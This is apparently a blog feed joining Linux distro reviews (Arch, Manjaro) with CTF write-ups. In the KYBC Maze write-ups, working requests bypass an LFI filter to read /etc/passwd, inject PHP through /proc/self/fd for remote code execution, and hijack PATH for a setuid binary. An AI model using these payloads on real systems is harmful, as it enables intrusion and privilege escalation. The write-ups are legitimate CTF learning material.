<p>On the other hand I realized that a bunch of awesome people in my life were in fact using Arch (I probably had run into nice Arch users even before, but since they didn't go around boosting how cool they were for using Arch I had probably missed that). Plus a part of me secretly regarded Arch as a sort of mandatory step/rite of passage in my linux journey, so when a friend suggested to give Arch a shot I just assumed that the time for it had come.</p>
<p>I must say, however, that even though I had bought in to the idea of installing Arch, my expectation was very much of giving it try, finding it too complicated/elitist, and moving to another distro. It turned out that I was very wrong.</p>
<h2>Installing Arch</h2>
<p>Thanks to the shiny new installer, the process of installing Arch was generally straightforward. The only part I didn't find very intuitive was accessing the wifi from TTY. Thankfully a friend had provided me with instructions, so that went smoothly as well. For the sake of my future self, here they are:</p>
<div class="highlight"><pre><span></span><code><span class="nv">iwctl</span>
<span class="nv">stations</span><span class="w"> </span><span class="nv">list</span>
<span class="nv">stations</span><span class="w"> </span><span class="o"><</span><span class="nv">probably</span><span class="o">-</span><span class="nv">wlan0</span><span class="o">-</span><span class="nv">but</span><span class="o">-</span><span class="nv">whatever</span><span class="o">-</span><span class="nv">is</span><span class="o">-</span><span class="nv">listed</span><span class="o">-</span><span class="nv">in</span><span class="o">-</span><span class="nv">list</span><span class="o">></span><span class="w"> </span><span class="k">connect</span><span class="w"> </span><span class="o"><</span><span class="nv">SSID</span><span class="o">></span>
</code></pre></div>
<p>The rest went through without too much hassle. A good idea was however to have another computer or a phone ready at hand, for those few times where I felt the need to google something during the process.</p>
<h2>My first steps into the Arch world</h2>
<p>My first impression of Arch was that it was very... bare. Being used to distros with a bespoken desktop environment, I was a bit caught off guard when I first logged in. I had picked Gnome during the installation and what I got was indeed Gnome, just stripped to the bare minimum - anything else I wanted I had to install it myself. Don't get me wrong though, that's a good thing! Yes, I did have to figure out what was the name of the components I wanted and how to install them, but after a bit of fiddling I got my DE to work, look and feel exactly the way I wanted. And if that's not the beauty of linux in a nutshell, I don't what that is.</p>
<p>Another thing I noticed is the speed of my system. Compared to a fresh installation of Ubuntu, Arch is just blazing fast. I guess that's probably one of the perks on of not having a lot of useless software installed from the start. Again, yes, I had to install everything I need out of the box, but that also means my system resources are spent only on programs I actually use.</p>
<p>Last but not least, I cannot really stress enough what an amazing documentation and community Arch has. The internet is full of people praising the Arch wiki and I totally agree - for 99% of the issues I encountered the solution was documented there. And the remaining 1% was usually covered by the <a href="https://bbs.archlinux.org/">Arch Linux Forum on BBS</a>.</p>
<h2>Package management</h2>
<p>When I mentioned to people that I was considering Arch (the fist step of installing Arch is to tell everyone that you're installing Arch :D), I got many warnings around package management. They mostly boiled down to two topics: rolling releases and Aur packages.</p>
<p>The main critique with rolling releases is that you need to monitor which packages you're installing, since you might end up with something <em>too new</em> to play nice with the rest of them. My experience with it is that, while I do pay a bit more attention when critical packages show up in the list (e.g. new kernel, or Gnome related stuff), I've yet to end up in such a scenario. Maybe I'm just lucky, but so far these 8 months have been smooth from that perspective.</p>
<p>Even with AUR packages my experience has been just positive. It probably helps that I'm comfortable with reading code, but having to check the PKGBUILD file before installing a package is not that big of a hassle for me. And I really love the concept of a community-driven package repository! Plus now that thanks to Yay (if you don't use it, have a look at it - it's awesome!) I can handle both AUR and Arch packages from the same place, I'm an even happier camper.</p>
<h2>Conclusion</h2>
<p>All in all, I'm very happy with Arch. While it probably isn't the perfect distro for everyone (is there such a thing?), it certainly turned out to be a great fit for me.</p>Switching from Ubuntu to Manjaro2021-12-26T00:00:00+01:002021-12-26T00:00:00+01:00Giuliatag:railslide.io,2021-12-26:/switching-from-ubuntu-to-manjaro.html<p>After many years on Ubuntu I decided it was time for some distro hopping and I gave Manjaro a spin.</p><p>I've been an Ubuntu user for about 14 years and while I have been using other distros (mostly on servers) from time to time, I never felt the need to switch away from it. Lately though a mix of curiosity and some Ubuntu stuff rubbing my nerves gave me the nudge to try something else. I had heard good things about Manjaro, so I decided to give it a shot.</p>
<h2>What's wrong with Ubuntu?</h2>
<p>Let's be clear, I don't hate Ubuntu. I still believe it's a great distro and definitely a great candidate for beginner and experienced users alike. That said, there were some things that annoyed me.</p>
<p>At the top of the list of my pain points there were Snap packages. When they were announced I thought it was a great idea. Containerized, cross-distribution applications - what's not to like? But while theory was great, practice turned out to be fairly mediocre: snap packages are slow, they clutter the filesystem, and they don't always work with your system theme. AppImage and Flatpak are way better alternatives and I would take them over Snap every given day.</p>
<p>Besides not being a not-so-great user experience, Snap packages also come with some ethical concerns. Ideally if I don't like them I could just stay away from them, right? Unfortunately that's easier said than done. Since Ubuntu 20.04 installing Chromium via Apt will install Chromium as a Snap package instead of a native one. <a href="https://snapcraft.io/blog/chromium-in-ubuntu-deb-to-snap-transition">The reason for this change was that the native package required developers to build releases for every supported version Ubuntu, while Snap allows them to maintain a single package that works on all of them</a>. The problem though is that this switcharoo happens without warning or asking the user. Don't get me wrong, as a developer myself I understand that maintaining Chromium might have been a gigantic pain in the ass, but I also believe that simply printing out a notice rather than go ahead and install a snap package would have gone a long way.</p>
<p>On a similar note, I was also surprised to discover that Ubuntu Disk Creator doesn't support ISO images for anything other than Ubuntu and its flavours. I am aware that this is old news, but I still found it fairly irritating, since it felt a bit like being punished (<em>no GUI for you!</em>) for going for a different distro. Also, the fact that the official Ubuntu guide suggested two ppa as alternatives was not super encouraging either. And while this wasn't a deal breaker per se, it added up to my frustration. So, when the opportunity came along in the form of a new work laptop, I decided it was time to explore the distro landscape.</p>
<h2>Enter Manjaro</h2>
<p>Manjaro is a user-friendly distro based on Arch, which means rolling releases and access to the Arch User Repository (AUR). It also comes with its own dedicated software repositories, a graphical installer, automatic hardware detection, and pre-installed codecs.</p>
<h3>The good parts</h3>
<p>Being based on Arch, Manjaro is fast and has a low memory footprint. Installation goes in a breeze (around 2 minutes!) and I was surprised on how little it took me to have it up and running. I later installed Ubuntu on the same machine and it felt like waiting for ages in comparison.</p>
<p>The next thing I really appreciated with Manjaro is that it gives the user a lot of freedom when it comes to customization. Take the desktop environment for example: the Manjaro development team provides and maintains XFCE, KDE and Gnome editions out of the box. On top of that, the community maintains 6 additional flavours (i3, Budgie, Cinnamon, Deepin, Mate, and Sway). So, whatever is favourite DE, you're likely to get it covered.</p>
<p>Another awesome feature is that Manjaro natively supports Flatpak, Snap, and Aur packages. Whatever you want to use it's up to you, all it takes is toggling a setting in the package manager. No more surprise Snap packages popping up in your system - if you want to use Snap you do, if you don't you don't.</p>
<p>I also loved the extensive community support. Besides the already mentioned community editions, Manjaro also has an extensive an lively forum where users can get help from other community members. This reminded me of Ask Ubuntu (definitely one of Ubuntu's strengths in my opinion!) and I was very pleased to see that Manjaro had something similar - in 99% of the cases I stumbled on some issue or had doubts, a quick search on there provided me with all the answers I needed.</p>
<p>Last but not least, Manjaro looks good. While aesthetic is not my primary concern when it comes to choosing an operative system, I must admit that I always found Ubuntu's default appearance somehow outdated and not very appealing. Again, not a breaking deal per se, but it was refreshing to work on something that pleased the eye without any further action on my side.</p>
<h3>The bad parts</h3>
<p>While in general I really liked Manjaro, it would be a lie to say that it is free from flaws.</p>
<p>My major complain about it are its disk encryption settings. By default if you decide to encrypt your disk, Manjaro will encrypt everything including the boot partition. The good part is that an encrypted boot partition comes with the perk of not being vulnerable to an <a href="https://en.wikipedia.org/wiki/Evil_maid_attack">evil maid attack</a>. Though the bad part is that it comes with several drawbacks on your day-to-day activities, such as:</p>
<ul>
<li>Decryption is slow because it cannot leverage hardware acceleration and it can takes up to 20/30 seconds. So booting your computer takes time.</li>
<li>You only have one try to type the decryption key correctly. If you make a typo, you'll have to reboot.</li>
<li>The correct keyboard layout is not loaded yet, so if you're using special chars good luck with that.</li>
</ul>
<p>A workaround for it is to do a manual partitioning and leave <code>/boot</code> unencrypted. However documentation and/or steps-by-steps instructions for how to do it are not easy to find, and even if you know how to do it you might still bump into some <a href="https://github.com/calamares/calamares/issues/1073">installer bug</a> and end up with an unbootable system.</p>
<h2>Conclusion</h2>
<p>In general I got a really nice impression of Manjaro and I definitely landed in my list of recommended distros.</p>
<p>Will I stay with it? Well, I ended up not to. Due to frequent crashes to my machine, I tried to install other distros to see if it was something related to Manjaro. While the problem turned out to be a hardware issue, the debugging process resulted in me stumbling on the above Calamares bug when trying to go back to Manjaro, getting frustrated, and eventually install something else (more on this in another post!). That said, I'd be more than willing to give Manjaro another chance in the future, once such bug gets fixed.</p>
<p>TL;DR: a great distro, with some encryption pain.</p>KYBC 2021 - Maze 3 Writeup2021-03-24T00:00:00+01:002021-03-24T00:00:00+01:00Giuliatag:railslide.io,2021-03-24:/kybc-yogosha-2021-maze-3-writeup.html<p>Writeup for Maze 3 challenge at KYBC CTF</p><p><em>In order to start this challenge it was necessary to complete <a href="https://railslide.io/kybc-yogosha-2021-maze-2-writeup.html">Maze 2</a> first</em></p>
<p>Third maze, third user. Let's check what's in <code>home/ctf_user3</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'ls -al /home/ctf_user3'</span><span class="p">);</span> <span class="cp">?></span>
</code></pre></div>
<p>It looks like ctf_user2 owns <code>image.txt</code> and <code>RAnd0m</code>. Hovewer, neither concatenating the content of <code>image.txt</code> nor running the <code>RAnd0m</code> executable bring anything useful.</p>
<p>Let's try to inspect the binary then with the good ol' <code>strings</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'echo "strings /home/ctf_user3/RAnd0M" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'</span><span class="p">);</span> <span class="cp">?></span>
</code></pre></div>
<p>No luck. What about <code>od</code> then?</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'echo "strings /home/ctf_user3/RAnd0M" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'</span><span class="p">);</span> <span class="cp">?></span>
</code></pre></div>
<p>Well that worked. Now I only need to figure out how to get out a proper hexdump from it. After a bit of digging, the <code>man</code> page comes to the rescue and provides with the syntax I need.</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'echo "od -A x -t x1z -v /home/ctf_user3/RAnd0M" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'</span><span class="p">);</span> <span class="cp">?></span>
</code></pre></div>
<p>Let's copy the hex dump into a txt file in my machine, recreate the binary and finally run <code>strings</code> on it</p>
<div class="highlight"><pre><span></span><code>xxd -r -p rand.txt out.bin
strings out.bin
</code></pre></div>
<p>One of the strings seems to match the flag pattern <code>pvkq{dbiH._dy_pvkqH.E.H.U.H._wo_?}</code>.</p>
<p>Running it through a <a href="http://theblob.org/rot.cgi?">ROT decoder</a> gives me <code>flag{tryX._to_flagX.U.X.K.X._me_?}</code>. Since the flag doesn't look too right and the system doesn't accept anyway, let's assume I probably messed up something while tinkering with <code>od</code> and manually fix it: <code>flag{try_to_flag_me_?}</code>.</p>KYBC 2021 - Maze 2 Writeup2021-03-22T00:00:00+01:002021-03-22T00:00:00+01:00Giuliatag:railslide.io,2021-03-22:/kybc-yogosha-2021-maze-2-writeup.html<p>Writeup for Maze 2 challenge at KYBC CTF</p><p><em>In order to start this challenge it was necessary to complete <a href="https://railslide.io/kybc-yogosha-2021-maze-1-writeups.html">Maze 1</a> first</em></p>
<p>After catching the first flag, let's check what's in <code>home/ctf_user2</code>. There is a flag file, but this time concatenating it doesn't work since the current user (<code>ctf_user1</code>) doesn't have read permissions to it. The only other interesting thing is a file called <code>sysadmin.c</code>. Permissions are in my favor this time, so let's have a look at the content:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Hello sysadmin :) </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Today date : </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="w"> </span><span class="n">setreuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span><span class="w"> </span><span class="n">getuid</span><span class="p">());</span>
<span class="w"> </span><span class="n">system</span><span class="p">(</span><span class="s">"date"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>That <code>system("date")</code> call looks promising, so let's try to replace it with some useful bash statement instead:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span> <span class="nb">system</span><span class="p">(</span><span class="s1">'echo "cat /home/ctf_user2/.52942ab6e8a6dd0bd75a9029c2b5c574_flag2.txt" > /tmp/date && chmod 777 /tmp/date && export PATH=/tmp:$PATH && /home/ctf_user2/sysadmin'</span><span class="p">);</span> <span class="cp">?></span>
</code></pre></div>
<p>Check the proc file and catch the flag - success!</p>KYBC 2021 - Maze 1 Writeup2021-03-17T00:00:00+01:002021-03-17T00:00:00+01:00Giuliatag:railslide.io,2021-03-17:/kybc-yogosha-2021-maze-1-writeups.html<p>Writeup for Maze 1 challenge at KYBC CTF</p><p>The site is basically a search box that checks for matching txt files and then redirects to <code>http://5.150.254.85:8082/lookup.php?f=file.txt</code> to display the content of the file. <code>flag.txt</code> obviously leads to a fake flag, but the whole thing looks like a potential LFI.</p>
<p>Trying to reach a file with an extension other than <code>.txt</code> results in an error. However, appending an extra <code>f</code> parameters after one with the <code>.txt</code> extension lets me bypass the extension check and access the content of the last file.</p>
<p>The txt files are inside a <code>files/</code> folder and there seem to be some sort of sanitization mechanism, since <code>../</code> get stripped away. However, the filter applies only to that specific pattern, so <code>....//</code> becomes <code>../</code> after sanitation and allows me to look up into the parent folder.</p>
<p>Combining the two bypasses together gets me the <code>etc/passwd</code> file:</p>
<div class="highlight"><pre><span></span><code>http://5.150.254.85:8082/lookup.php?f=flag.txt&f=....//....//....//....//etc/passwd`
</code></pre></div>
<p>The flag doesn't seem to be there though.</p>
<p>Let's see if it is possible to turn this LFI into an RCE, since trying to guess name and location of the flag doesn't sound like a realistic strategy.</p>
<p>By examining the <code>proc/self/fd</code> folder I discover that <code>proc/self/fd/11</code> stores the serialized parameters of the search request. Let's see if we can write by making a POST request containing <code><?php system('id'); ?></code></p>
<div class="highlight"><pre><span></span><code>http://5.150.254.85:8082/search=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E&submit=submit
</code></pre></div>
<p>and check the proc file again</p>
<div class="highlight"><pre><span></span><code>http://5.150.254.85:8082/lookup.php?f=flag.txt&f=....//....//....//....//proc/self/fd/11
</code></pre></div>
<p>Yeah! The code gets executed and the result gets saved into it!!</p>
<p>Let's run <code>ls /</code></p>
<div class="highlight"><pre><span></span><code>http://5.150.254.85:8082/search=%3C%3Fphp%20system%28%27ls%20-al%27%29%3B%20%3F%3E&submit=submit
</code></pre></div>
<p>and check the outcome in the proc file. No flag in the root folder, but <code>home/ctf_user1</code> seems interesting:</p>
<div class="highlight"><pre><span></span><code>http://5.150.254.85:8082/search=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%6c%73%20%2d%61%6c%20%2f%68%6f%6d%65%2f%63%74%66%5f%75%73%65%72%31%27%29%3b%20%3f%3e&submit=submit
</code></pre></div>
<p>there's the flag - let's cat it!</p>
<div class="highlight"><pre><span></span><code>http://5.150.254.85:8082/search=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%2f%68%6f%6d%65%2f%63%74%66%5f%75%73%65%72%31%2f%2e%33%33%36%64%35%65%62%63%35%34%33%36%35%33%34%65%36%31%64%31%36%65%36%33%64%64%66%63%61%33%32%37%5f%66%6c%61%67%31%2e%74%78%74%27%29%3b%20%3f%3e&submit=submit
</code></pre></div>
<p>Success! <code>FLAG_c4a66ead822b8d2dd42da826eb180371</code></p>TG:HACK 2020 Writeup - A game of keys2020-04-18T00:00:00+02:002020-04-18T00:00:00+02:00Giuliatag:railslide.io,2020-04-18:/tghack-2020-writeup-a-game-of-keys.html<p>During Easter I played the TG:HACK 2020 CTF. Here' is my writeup for the <em>A game of keys</em> challenge.</p><blockquote>
<p>Download this file and get the flag. You will also need this wordlist.</p>
</blockquote>
<p>The provided files are a python compiled file (keygame.pyc) and a txt file with a list of gibberish words (wordlist.txt). The wordlist didn't seem very interesting, so I proceeded to decompile the python file</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>uncompyle6<span class="w"> </span>keygame.pyc<span class="w"> </span>><span class="w"> </span>keygame.py
</code></pre></div>
<p>And had a look at the source code</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">base64</span>
<span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">cycle</span>
<span class="k">class</span> <span class="nc">myGame</span><span class="p">:</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">xdim</span><span class="o">=</span><span class="mi">4</span><span class="p">,</span> <span class="n">ydim</span><span class="o">=</span><span class="mi">4</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">x</span> <span class="o">=</span> <span class="n">xdim</span>
<span class="bp">self</span><span class="o">.</span><span class="n">y</span> <span class="o">=</span> <span class="n">ydim</span>
<span class="bp">self</span><span class="o">.</span><span class="n">matrix</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">x</span><span class="p">):</span>
<span class="n">row</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">y</span><span class="p">):</span>
<span class="n">row</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">matrix</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">row</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">make_keys</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
<span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'wordlist.txt'</span><span class="p">)</span> <span class="k">as</span> <span class="p">(</span><span class="n">f</span><span class="p">):</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
<span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">x</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">y</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">matrix</span><span class="p">[</span><span class="n">j</span><span class="p">][</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">words</span><span class="p">[(</span><span class="n">i</span> <span class="o">+</span> <span class="n">j</span><span class="p">)]</span>
<span class="n">keyArray</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">keyArray</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">matrix</span><span class="p">[</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]][</span><span class="n">args</span><span class="p">[</span><span class="mi">1</span><span class="p">]])</span>
<span class="n">keyArray</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">matrix</span><span class="p">[</span><span class="n">args</span><span class="p">[</span><span class="mi">2</span><span class="p">]][</span><span class="n">args</span><span class="p">[</span><span class="mi">3</span><span class="p">]])</span>
<span class="n">key</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">keyArray</span><span class="p">:</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">key</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">k</span><span class="p">)</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">return</span> <span class="n">key</span>
<span class="k">def</span> <span class="nf">checkdata</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s1">'NSYDUhoVWQ8SQVcOAAYRFQkORA4FQVMDQQ5fQhUEWUYMDl4MHA=='</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'ascii'</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">((</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">k</span><span class="p">))</span> <span class="k">for</span> <span class="n">c</span><span class="p">,</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">cycle</span><span class="p">(</span><span class="n">key</span><span class="p">))))</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'</span><span class="si">%s</span><span class="s1"> ^ </span><span class="si">%s</span><span class="s1"> = </span><span class="si">%s</span><span class="s1">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">c</span><span class="p">))</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">mgame</span> <span class="o">=</span> <span class="n">myGame</span><span class="p">(</span><span class="mi">25</span><span class="p">,</span> <span class="mi">25</span><span class="p">)</span>
<span class="n">x</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s1">'input a number: '</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s1">'input a number: '</span><span class="p">)</span>
<span class="n">x1</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s1">'input a number: '</span><span class="p">)</span>
<span class="n">y1</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s1">'input a number: '</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">mgame</span><span class="o">.</span><span class="n">make_keys</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">),</span> <span class="nb">int</span><span class="p">(</span><span class="n">y</span><span class="p">),</span> <span class="nb">int</span><span class="p">(</span><span class="n">x1</span><span class="p">),</span> <span class="nb">int</span><span class="p">(</span><span class="n">y1</span><span class="p">))</span>
<span class="n">mgame</span><span class="o">.</span><span class="n">checkdata</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</code></pre></div>
<p>My take from it was that the programs takes four inputs and uses them for creating a key based on a matrix and on the wordlist. If the resulting key is the correct one, the <code>checkdata</code> function is going to print out the flag.</p>
<p>Running the program confirmed my theory</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>python<span class="w"> </span>keygame.py
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">1</span>
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">1</span>
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">1</span>
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">1</span>
aa0caa0c
<span class="m">5</span><span class="p">&</span>RYAW<span class="w"> </span>DASA_BYF
<span class="w"> </span>^
<span class="w"> </span>^<span class="w"> </span><span class="nv">aa0caa0c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>TG31<span class="o">{</span>tils<span class="w"> </span>gmag!vhotmd<span class="w"> </span>c<span class="sb">`</span><span class="w"> </span>oo!tei%mono<span class="o">}</span>
</code></pre></div>
<p>Now, how to figure out what are the correct inputs? The sources shows that the game is created with a 25x25 matrix (<code>mgame = myGame(25, 25)</code>) and since the inputs are used as indexes for the matrix, any input greater than 24 should be invalid.</p>
<p>A quick run of the program confirmed this theory as well</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>python<span class="w"> </span>keygame.py
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">25</span>
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">25</span>
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">25</span>
input<span class="w"> </span>a<span class="w"> </span>number:<span class="w"> </span><span class="m">25</span>
Traceback<span class="w"> </span><span class="o">(</span>most<span class="w"> </span>recent<span class="w"> </span>call<span class="w"> </span>last<span class="o">)</span>:
<span class="w"> </span>File<span class="w"> </span><span class="s2">"keygame.py"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">56</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span><module>
<span class="w"> </span><span class="nv">data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>mgame.make_keys<span class="o">(</span>int<span class="o">(</span>x<span class="o">)</span>,<span class="w"> </span>int<span class="o">(</span>y<span class="o">)</span>,<span class="w"> </span>int<span class="o">(</span>x1<span class="o">)</span>,<span class="w"> </span>int<span class="o">(</span>y1<span class="o">))</span>
<span class="w"> </span>File<span class="w"> </span><span class="s2">"keygame.py"</span>,<span class="w"> </span>line<span class="w"> </span><span class="m">34</span>,<span class="w"> </span><span class="k">in</span><span class="w"> </span>make_keys
<span class="w"> </span>keyArray.append<span class="o">(</span>self.matrix<span class="o">[</span>args<span class="o">[</span><span class="m">0</span><span class="o">]][</span>args<span class="o">[</span><span class="m">1</span><span class="o">]])</span>
IndexError:<span class="w"> </span>list<span class="w"> </span>index<span class="w"> </span>out<span class="w"> </span>of<span class="w"> </span>range
</code></pre></div>
<p>So, I needed a way to test all the possible combinations of four inputs ranging from 0 to 24 and it turned out that python has a built-in way for doing just that. Enter <code>itertools.products</code></p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">itertools</span>
<span class="kn">from</span> <span class="nn">keygame</span> <span class="kn">import</span> <span class="n">myGame</span>
<span class="n">inputs</span> <span class="o">=</span> <span class="p">[</span><span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">25</span><span class="p">),</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">25</span><span class="p">),</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">25</span><span class="p">),</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">25</span><span class="p">)]</span>
<span class="n">possibilities</span> <span class="o">=</span> <span class="p">[</span><span class="n">p</span> <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">itertools</span><span class="o">.</span><span class="n">product</span><span class="p">(</span><span class="o">*</span><span class="n">inputs</span><span class="p">)]</span>
<span class="n">mgame</span> <span class="o">=</span> <span class="n">myGame</span><span class="p">(</span><span class="mi">25</span><span class="p">,</span> <span class="mi">25</span><span class="p">)</span>
<span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">possibilities</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">mgame</span><span class="o">.</span><span class="n">make_keys</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="n">mgame</span><span class="o">.</span><span class="n">checkdata</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">if</span> <span class="n">result</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s1">'TG20{'</span><span class="p">):</span>
<span class="nb">print</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="n">p</span><span class="p">)</span>
</code></pre></div>
<p>I commented out the <code>print</code> statements from keygame.py to reduce the noise, and then waited for my script to spit out the flag</p>
<div class="highlight"><pre><span></span><code><span class="s1">'TG20{this flag should be on teh moon}'</span>
